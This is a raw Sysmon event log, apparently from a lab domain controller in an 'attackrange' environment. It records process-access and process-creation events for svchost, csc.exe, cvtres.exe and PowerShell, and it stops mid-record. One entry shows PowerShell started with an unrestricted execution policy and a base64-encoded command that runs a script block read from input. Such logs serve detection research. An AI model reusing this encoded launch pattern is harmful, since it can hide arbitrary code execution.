10341000x8000000000000000153Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000152Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000151Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000150Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-2898-5F80-FC02-000000007E01}46764840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe{A5F018FF-2898-5F80-FD02-000000007E01}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+b181|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3d58|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3ed0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+3fa6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+274e|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+27a0|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorpehost.dll+28e4|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+7e38f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+45d22|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+448ef|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+445e6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+44303|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+18321|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+17b76|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+9e0d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe+1edf02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000149Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000148Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000147Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000146Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000145Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000144Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.810{A5F018FF-2898-5F80-FD02-000000007E01}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe12.00.52519.0 built by: VSWINSERVICINGMicrosoft® Resource File To COFF Object Conversion UtilityMicrosoft® .NET FrameworkMicrosoft CorporationCVTRES.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBE75.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCF17D7FAB9C764EB6B2A76E55EBAE5FBF.TMP"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2897-5F80-B059-110000000000}0x1159b00HighMD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF{A5F018FF-2898-5F80-FC02-000000007E01}4676C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\csgm5bcp.cmdline" 10341000x8000000000000000143Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-2897-5F80-F702-000000007E01}41282984C:\Windows\system32\conhost.exe{A5F018FF-2898-5F80-FC02-000000007E01}4676C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000142Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000141Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000140Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000139Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000138Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-2898-5F80-FC02-000000007E01}4676C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000137Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000136Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000135Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000134Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-2898-5F80-FA02-000000007E01}31963400C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2898-5F80-FC02-000000007E01}4676C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+270222|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26fe9f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f9ee|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26f97a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+26e48b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c1edb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+7c19a9|UNKNOWN(00007FFF224DB68F) 10341000x8000000000000000133Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000132Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.721{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000131Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.689{A5F018FF-2898-5F80-FC02-000000007E01}4676C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\csgm5bcp.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2897-5F80-B059-110000000000}0x1159b00HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-2898-5F80-FA02-000000007E01}3196C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x8000000000000000130Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 